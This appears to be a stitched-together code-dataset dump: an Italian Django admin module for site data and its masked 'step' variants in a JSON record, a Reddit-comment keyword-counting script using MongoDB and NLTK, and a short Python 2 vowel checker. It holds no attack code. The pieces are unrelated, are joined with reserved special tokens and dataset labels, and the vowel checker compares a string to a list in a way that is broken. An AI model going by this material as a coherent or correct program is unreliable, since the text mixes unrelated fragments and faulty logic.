model = CustomSites class WebsitePreferencesInstanceInline(admin.TabularInline): model = WebsitePreferences class SiteAdmin(admin.ModelAdmin): list_filter = 'domain', 'name' inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline] <|reserved_special_token_0|> admin.site.unregister(Site) admin.site.register(Site, SiteAdmin) admin.site.register(WebsiteData, WebsiteDataAdmin) <|reserved_special_token_1|> from django.contrib import admin, messages from django.conf.urls import url from django.shortcuts import render from django.contrib.sites.models import Site from django.http import HttpResponseRedirect, HttpResponse from website_data.models import * from website_data.forms import * import logging # Get an instance of a logger logger = logging.getLogger(__name__) class WebsiteDataAdmin(admin.ModelAdmin): # URLs overwriting to add new admin views (with auth check and without cache) def get_urls(self): urls = super(WebsiteDataAdmin, self).get_urls() my_urls = [ # url(r'^edit-site/(?:(?P<site_id>\d+)/)$', self.admin_site.admin_view(self.edit_site)), url(r'^create-defaults/$', self.admin_site.admin_view(self.create_defaults)), ] # return custom URLs with default URLs return my_urls + urls """ def edit_site(self, request, site_id): ""Function to select a site to edit"" WebsiteData_obj = WebsiteData() Site_obj = Site.objects.get(pk=site_id) if request.method == 'POST': form = EditTextSiteForm(request.POST) if form.is_valid(): # TODO: salvo i valori delle relative chiavi WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST) # pagina di successo con i dati aggiornati precompilati messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.') return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST else: form = EditTextSiteForm() # An unbound form # precompilo la post con eventuali valori presenti request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain) # logger.info("chiavi salvate in db per il sito " + str(site_id) + ": " + str(request.POST)) context = { 'form' : form, 'post': request.POST, 'title': "Modifica informazioni sito: " + str(Site_obj.domain), 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/', } return render(request, 'admin/custom_view/edit_site.html', context) """ def create_defaults(self, request): """Function to create default keys and themes""" ThemeKeys_obj = ThemeKeys() ThemeKeys_obj.create_default_keys() WebsitePreferenceKeys_obj = WebsitePreferenceKeys() WebsitePreferenceKeys_obj.create_default_keys() context = { 'title': "Creazione chiavi e temi di default", 'opts': self.model._meta, 'app_label': self.model._meta.app_label, 'has_permission': request.user.is_superuser, 'site_url': '/', } messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.') return render(request, 'admin/custom_view/create_defaults.html', context) def get_model_perms(self, request): """ https://stackoverflow.com/questions/2431727/django-admin-hide-a-model Return empty perms dict thus hiding the model from admin index. Per far funzionare le custom view dell'app website_data ma nascondendo tutti i modelli, in questo modo gli url funzionano ma nell'admin non si vede nessun modello da modificare/aggiungere. """ return {} class CustomSiteInstanceInline(admin.StackedInline): model = CustomSites class WebsitePreferencesInstanceInline(admin.TabularInline): model = WebsitePreferences # Define a new Site admin class SiteAdmin(admin.ModelAdmin): list_filter = ('domain', 'name') inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline] # TODO: pagine aggiuntive per l'admin (da usare solo per debug o manutenzione) """ admin.site.register(Themes) admin.site.register(ThemeKeys) admin.site.register(WebsitePreferences) admin.site.register(WebsitePreferenceKeys) admin.site.register(CustomSites) """ admin.site.unregister(Site) admin.site.register(Site, SiteAdmin) admin.site.register(WebsiteData, WebsiteDataAdmin)
flexible
{ "blob_id": "614d6484678890df2ae0f750a3cad51a2b9bd1c6", "index": 2315, "step-1": "<mask token>\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n <mask token>\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n", "step-4": "from django.contrib import admin, messages\nfrom django.conf.urls import url\nfrom django.shortcuts import render\nfrom django.contrib.sites.models import Site\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom website_data.models import *\nfrom website_data.forms import *\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [url('^create-defaults/$', self.admin_site.admin_view(\n self.create_defaults))]\n return my_urls + urls\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n context = {'title': 'Creazione chiavi e temi di default', 'opts':\n self.model._meta, 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser, 'site_url': '/'}\n messages.add_message(request, messages.SUCCESS,\n 'Valori di default creati con successo.')\n return render(request, 'admin/custom_view/create_defaults.html',\n context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = 'domain', 'name'\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n\n<mask token>\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n", "step-5": "from django.contrib import admin, messages\nfrom django.conf.urls import url\nfrom django.shortcuts import render\nfrom django.contrib.sites.models import Site\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom website_data.models import *\nfrom website_data.forms import *\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\nclass WebsiteDataAdmin(admin.ModelAdmin):\n\n # URLs overwriting to add new admin views (with auth check and without cache)\n def get_urls(self):\n urls = super(WebsiteDataAdmin, self).get_urls()\n my_urls = [\n # url(r'^edit-site/(?:(?P<site_id>\\d+)/)$', self.admin_site.admin_view(self.edit_site)),\n url(r'^create-defaults/$', self.admin_site.admin_view(self.create_defaults)),\n ]\n\n # return custom URLs with default URLs\n return my_urls + urls\n\n \"\"\"\n def edit_site(self, request, site_id):\n \"\"Function to select a site to edit\"\"\n\n WebsiteData_obj = WebsiteData()\n Site_obj = Site.objects.get(pk=site_id)\n\n if request.method == 'POST':\n form = EditTextSiteForm(request.POST)\n\n if form.is_valid():\n # TODO: salvo i valori delle relative chiavi\n WebsiteData_obj.set_all_keys_about_site(site_id=site_id, post=request.POST)\n\n # pagina di successo con i dati aggiornati precompilati\n messages.add_message(request, messages.SUCCESS, 'Dati salvati con successo.')\n return HttpResponseRedirect('/admin/website_data/websitedata/edit-site/' + str(site_id)) # Redirect after POST\n else:\n form = EditTextSiteForm() # An unbound form\n # precompilo la post con eventuali valori presenti\n request.POST = WebsiteData_obj.get_all_keys_about_site(site_domain=Site_obj.domain)\n # logger.info(\"chiavi salvate in db per il sito \" + str(site_id) + \": \" + str(request.POST))\n\n context = {\n 'form' : form,\n 'post': request.POST,\n 'title': \"Modifica informazioni sito: \" + str(Site_obj.domain),\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n return render(request, 'admin/custom_view/edit_site.html', context)\n \"\"\"\n\n def create_defaults(self, request):\n \"\"\"Function to create default keys and themes\"\"\"\n ThemeKeys_obj = ThemeKeys()\n ThemeKeys_obj.create_default_keys()\n\n WebsitePreferenceKeys_obj = WebsitePreferenceKeys()\n WebsitePreferenceKeys_obj.create_default_keys()\n\n context = {\n 'title': \"Creazione chiavi e temi di default\",\n 'opts': self.model._meta,\n 'app_label': self.model._meta.app_label,\n 'has_permission': request.user.is_superuser,\n 'site_url': '/',\n }\n\n messages.add_message(request, messages.SUCCESS, 'Valori di default creati con successo.')\n\n return render(request, 'admin/custom_view/create_defaults.html', context)\n\n def get_model_perms(self, request):\n \"\"\"\n https://stackoverflow.com/questions/2431727/django-admin-hide-a-model\n\n Return empty perms dict thus hiding the model from admin index.\n Per far funzionare le custom view dell'app website_data ma nascondendo\n tutti i modelli, in questo modo gli url funzionano ma nell'admin non si\n vede nessun modello da modificare/aggiungere.\n \"\"\"\n return {}\n\nclass CustomSiteInstanceInline(admin.StackedInline):\n model = CustomSites\n\nclass WebsitePreferencesInstanceInline(admin.TabularInline):\n model = WebsitePreferences\n\n# Define a new Site admin\nclass SiteAdmin(admin.ModelAdmin):\n list_filter = ('domain', 'name')\n inlines = [CustomSiteInstanceInline, WebsitePreferencesInstanceInline]\n\n# TODO: pagine aggiuntive per l'admin (da usare solo per debug o manutenzione)\n\"\"\"\nadmin.site.register(Themes)\nadmin.site.register(ThemeKeys)\nadmin.site.register(WebsitePreferences)\nadmin.site.register(WebsitePreferenceKeys)\nadmin.site.register(CustomSites)\n\"\"\"\n\nadmin.site.unregister(Site)\nadmin.site.register(Site, SiteAdmin)\nadmin.site.register(WebsiteData, WebsiteDataAdmin)\n", "step-ids": [ 4, 10, 12, 14, 15 ] }
[ 4, 10, 12, 14, 15 ]
import pymongo import pandas as pd import re from pymongo import MongoClient from nltk.corpus import stopwords from nltk import word_tokenize from gensim import corpora import pickle client = MongoClient() db = client.redditCrawler collection = db.data_test1 def remove_posts(data, index_list): data = data.drop(index_list) return data.reset_index(drop=True) data = pd.DataFrame(list(collection.find())) mod_posts = [i for i in range(len(data)) if 'moronic Monday' in data['title'][i]] #remove all the mod posts that include 'moronic Monday' data = remove_posts(data, mod_posts) titles = data['title'] content = data['post'] comments = data['comments'] # collect only the comments without vote scores, dates, etc comments_in_thread = [] for index, thread in enumerate(comments): aggregate = [] for comment in thread: if type(comment['comment_reply']) == str: aggregate.append(comment['comment_reply'].lower()) comments_in_thread.append(aggregate) comments = comments_in_thread #number of titles and post need to be the same assert len(titles) == len(content) assert len(comments) == len(content) #preprocess stop_words = stopwords.words('english') stop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks', 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even', 'could', 'also', ]) #Function to clean off each dataset item; stop words (what, if, is, where, how, I, she) def preprocess(text): #no content/nan/len of 0 #text = [re.sub('[^a-zA-Z0-9]+', ' ', word) for word in text] text = text.lower() text = text.replace('$', ' ') text = text.replace('-', ' ') text = text.replace("/", ' ') text = text.replace(".", ' ') text = word_tokenize(text) ## text = [re.sub('[^a-zA-Z0-9]+', '', word) for word in text] text = [word for word in text if word not in stop_words] text = [word for word in text if word.isalpha()] return text #pass titles and comments through pre-processor titles = [preprocess(title) for title in titles] posts = [preprocess(text) for text in content] # process comments ##comments = [[preprocess(comment) for comment in thread] for thread in comments] temp = [] for i, thread in enumerate(comments): temp_thread = [] temp_thread.extend(titles[i]) for comment in thread: temp_thread.extend(preprocess(comment)) temp.append(temp_thread) comments = temp # form a list of dictionaries for each title, compile # each word and its corresponding frequencies in the post's comment section list_of_dict = [] for index, title in enumerate(titles): text = '' bag_of_words = set(title) text = ' '.join(comments_in_thread[index]) ## text = comments[index] dictionary = {word:text.count(word) for word in bag_of_words if text.count(word) > 0} list_of_dict.append(dictionary) title_keywords = [list(Dict.keys()) if len(Dict) > 0 else [0] for Dict in list_of_dict] title_keywords = [word for sublist in title_keywords for word in sublist if word != 0 ] title_keywords = set(title_keywords) ##title_keywords = set(title_keywords) ##count the number of keywords in the comment section def count_keywords(comments, keywords): ## sample = ' '.join(comments).split() return {word: comments.count(word) for word in keywords if comments.count(word) > 0} keyword_dict = [count_keywords(comment, title_keywords) for comment in comments] for index, thread in enumerate(keyword_dict): #normalize each keyword by the number of words present df = pd.DataFrame() df['word'] = thread.keys() df['count'] = thread.values() df = df.sort_values('count', ascending = False) #dividing by number of words in each thread ## df['frequency'] = df['count']/(len(comments[index])) df['frequency'] = df['count']/(1+len(comments_in_thread[index])) df['count'] = df['count']/(len(comments[index]))**0.5 keyword_dict[index] = df.reset_index(drop=True) #save varialbes variables = [data['title'], titles, posts, comments, comments_in_thread, list_of_dict, title_keywords, keyword_dict] with open('variables.txt', 'wb') as fp: pickle.dump(variables, fp)
normal
{ "blob_id": "341fb4442ba1d1bb13dbbe123e1051e1ceeb91e7", "index": 4431, "step-1": "<mask token>\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\n<mask token>\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\n<mask token>\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\n<mask token>\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\n<mask token>\nassert len(titles) == len(content)\nassert len(comments) == len(content)\n<mask token>\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\n<mask token>\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\n<mask token>\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\n<mask token>\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\n<mask token>\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\n<mask token>\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n", "step-3": "<mask token>\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data[\n 'title'][i]]\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\ncomments = comments_in_thread\nassert len(titles) == len(content)\nassert len(comments) == len(content)\nstop_words = stopwords.words('english')\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\ncomments = temp\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\ntitle_keywords = [(list(Dict.keys()) if len(Dict) > 0 else [0]) for Dict in\n list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if\n word != 0]\ntitle_keywords = set(title_keywords)\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments\n ]\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n", "step-4": "import pymongo\nimport pandas as pd\nimport re\nfrom pymongo import MongoClient\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nfrom gensim import corpora\nimport pickle\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data[\n 'title'][i]]\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\ncomments = comments_in_thread\nassert len(titles) == len(content)\nassert len(comments) == len(content)\nstop_words = stopwords.words('english')\nstop_words.extend(['would', 'people', 'money', 'think', 'thinks', 'thanks',\n 'thing', 'things', 'ok', 'nt', 'actually', 'like', 'get', 'even',\n 'could', 'also'])\n\n\ndef preprocess(text):\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace('/', ' ')\n text = text.replace('.', ' ')\n text = word_tokenize(text)\n text = [word for word in text if word not in stop_words]\n text = [word for word in text if word.isalpha()]\n return text\n\n\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\ncomments = temp\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n dictionary = {word: text.count(word) for word in bag_of_words if text.\n count(word) > 0}\n list_of_dict.append(dictionary)\ntitle_keywords = [(list(Dict.keys()) if len(Dict) > 0 else [0]) for Dict in\n list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if\n word != 0]\ntitle_keywords = set(title_keywords)\n\n\ndef count_keywords(comments, keywords):\n return {word: comments.count(word) for word in keywords if comments.\n count(word) > 0}\n\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments\n ]\nfor index, thread in enumerate(keyword_dict):\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending=False)\n df['frequency'] = df['count'] / (1 + len(comments_in_thread[index]))\n df['count'] = df['count'] / len(comments[index]) ** 0.5\n keyword_dict[index] = df.reset_index(drop=True)\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n", "step-5": "import pymongo\nimport pandas as pd\nimport re\nfrom pymongo import MongoClient\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize\nfrom gensim import corpora\n\nimport pickle\n\nclient = MongoClient()\ndb = client.redditCrawler\ncollection = db.data_test1\n\ndef remove_posts(data, index_list):\n data = data.drop(index_list)\n return data.reset_index(drop=True)\n\ndata = pd.DataFrame(list(collection.find()))\nmod_posts = [i for i in range(len(data)) if 'moronic Monday' in data['title'][i]]\n\n#remove all the mod posts that include 'moronic Monday'\ndata = remove_posts(data, mod_posts)\ntitles = data['title']\ncontent = data['post']\ncomments = data['comments']\n\n# collect only the comments without vote scores, dates, etc\ncomments_in_thread = []\nfor index, thread in enumerate(comments):\n aggregate = []\n for comment in thread:\n if type(comment['comment_reply']) == str:\n aggregate.append(comment['comment_reply'].lower())\n comments_in_thread.append(aggregate)\n\ncomments = comments_in_thread\n#number of titles and post need to be the same\nassert len(titles) == len(content) \nassert len(comments) == len(content)\n\n\n#preprocess\nstop_words = stopwords.words('english')\nstop_words.extend(['would',\n 'people',\n 'money',\n 'think',\n 'thinks',\n 'thanks',\n 'thing',\n 'things',\n 'ok',\n 'nt',\n 'actually',\n 'like',\n 'get',\n 'even',\n 'could',\n 'also',\n ])\n\n#Function to clean off each dataset item; stop words (what, if, is, where, how, I, she)\n\ndef preprocess(text):\n #no content/nan/len of 0\n #text = [re.sub('[^a-zA-Z0-9]+', ' ', word) for word in text]\n text = text.lower()\n text = text.replace('$', ' ')\n text = text.replace('-', ' ')\n text = text.replace(\"/\", ' ')\n text = text.replace(\".\", ' ')\n text = word_tokenize(text)\n## text = [re.sub('[^a-zA-Z0-9]+', '', word) for word in text]\n text = [word for word in text if word not in stop_words] \n text = [word for word in text if word.isalpha()]\n return text\n\n#pass titles and comments through pre-processor\ntitles = [preprocess(title) for title in titles]\nposts = [preprocess(text) for text in content]\n\n# process comments\n##comments = [[preprocess(comment) for comment in thread] for thread in comments]\ntemp = []\nfor i, thread in enumerate(comments):\n temp_thread = []\n temp_thread.extend(titles[i])\n for comment in thread:\n temp_thread.extend(preprocess(comment))\n temp.append(temp_thread)\n\ncomments = temp\n\n# form a list of dictionaries for each title, compile\n# each word and its corresponding frequencies in the post's comment section\nlist_of_dict = []\nfor index, title in enumerate(titles):\n text = ''\n bag_of_words = set(title)\n text = ' '.join(comments_in_thread[index])\n## text = comments[index]\n dictionary = {word:text.count(word) for word in bag_of_words if text.count(word) > 0}\n list_of_dict.append(dictionary)\n\ntitle_keywords = [list(Dict.keys()) if len(Dict) > 0 else [0] for Dict in list_of_dict]\ntitle_keywords = [word for sublist in title_keywords for word in sublist if word != 0 ]\ntitle_keywords = set(title_keywords)\n##title_keywords = set(title_keywords)\n\n##count the number of keywords in the comment section\ndef count_keywords(comments, keywords):\n## sample = ' '.join(comments).split()\n return {word: comments.count(word) for word in keywords if comments.count(word) > 0}\n\nkeyword_dict = [count_keywords(comment, title_keywords) for comment in comments]\nfor index, thread in enumerate(keyword_dict):\n #normalize each keyword by the number of words present\n df = pd.DataFrame()\n df['word'] = thread.keys()\n df['count'] = thread.values()\n df = df.sort_values('count', ascending = False)\n #dividing by number of words in each thread\n## df['frequency'] = df['count']/(len(comments[index]))\n df['frequency'] = df['count']/(1+len(comments_in_thread[index]))\n df['count'] = df['count']/(len(comments[index]))**0.5\n keyword_dict[index] = df.reset_index(drop=True)\n\n#save varialbes\nvariables = [data['title'], titles, posts, comments, comments_in_thread,\n list_of_dict, title_keywords, keyword_dict]\n\nwith open('variables.txt', 'wb') as fp:\n pickle.dump(variables, fp)\n\n\n\n\n\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
sheik=['a','e','i','o','u','A','E','I','O','U'] s=raw_input() if(s in sheik): print('Vowel') elif(s!=sheik): print('Consonant') else: print('invalid')
normal
